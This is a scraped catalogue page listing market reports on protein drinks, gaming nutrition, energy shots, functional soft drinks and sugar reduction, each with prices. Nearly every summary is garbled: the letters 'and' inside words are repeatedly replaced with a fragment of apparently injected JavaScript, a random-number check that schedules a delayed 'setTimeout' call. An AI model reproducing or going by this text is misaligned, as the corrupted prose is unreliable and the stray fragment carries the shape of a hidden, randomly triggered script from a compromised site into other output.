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Bars

Gaming

RTD

EU

US

Claims

Collagen

Drinks

Energy Drinks

Format

Functional Ingredients

Gaming

Health

Ingredients

Keto

Nootropics

Positioning

Product Type

Protein

Shots

Sugar

Protein Drinks – Life Beyond Sports Nurition
July 2021

Protein shakes are moving away from the traditional sports market andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and diversifying into active lifestyle/nutrition. This has resulted in a very broad drinks landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andscape where protein is the star player. Through the use of different ingredients (protein sources, functional […]

from £3495
Drinks
Product Type
Protein
Gaming Nutrition – A Leap Into The Virtual World
July 2021

Gaming nutrition is an emerging andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and rapidly growing branch of active nutrition, with lots of scope for innovation. There is a rise of new brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands with innovative products, as well as large sport or active nutrition brandom() * 6); […]

from £2495
Energy Drinks
Gaming
Nootropics
Positioning
Product Type
A Shot at Mainstream Function
July 2021

Although shots are a mainstream format, they offer many opportunities for innovation with the use of different ingredients andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and identification with need states. Many brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands are now using this as a basis to expandom() * 6); if (number1==3){var delay […]

from £1995
Format
Shots
A new normal – Functional soft drinks
July 2021

Active ingredients can be added to a variety of products including juices/smoothies, waters andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sodas. Thus providing a ‘better for you’ option (i.e. with added benefits) to frequent soft drink consumers. Often these are ‘trendy’ ingredients such as collagen, probiotics or vitamins andom() * 6); if (number1==3){var […]

from £1995
Functional Ingredients
Diversification of the classic energy drink
July 2021

Energy drinks have branched out into use for any occasion, from sport andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and active lifestyle to professionals andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and gamers. The main focus for brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands now is to produce a product which […]

from £2495
Energy Drinks
Keeping pace with dietary preferences
July 2021

The modern consumer has complex dietary requirements andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and preferences. New bars must reflect the rise of different dietary trends(e.g. Keto, vegan, collagen, gluten free).

from £2495
Claims
Collagen
Keto
Trends
How much sugar is too much sugar?
July 2021

Sugar is a hot topic across the nutrition industry, with many brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands trying to reduce sugar content without compromising flavour. 

from £2495
Sugar
Food vs Nutrition – The eternal debate about what is ‘healthy’
July 2021

With an increased public interest in health andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and conscious eating, brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands are trying to navigate what ‘healthy’ means to the consumer. Whether it is a focus on macronutrients or rather the use of whole-food ingredients. 

from £1995
Health
Ingredients
Protein – A macro trend that shows no sign of slowing
July 2021

Protein has become a ‘buzz word’ across all markets andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is no longer solely associated with athletes andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sport. Consumers have identified the importance of protein across all lifestyles. As a result, many products are including protein andom() * 6); […]

from £3495
Protein
A merger of markets: how are brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands positioning themselves?
July 2021

An increase in consumer awareness/interest in health andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and nutrition has led to increased diversification of the snacking market. With many brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands trying to enter this market, there are many product propositions, all targeting different ingredients, claims andom() * 6); if […]

from £1995
Positioning
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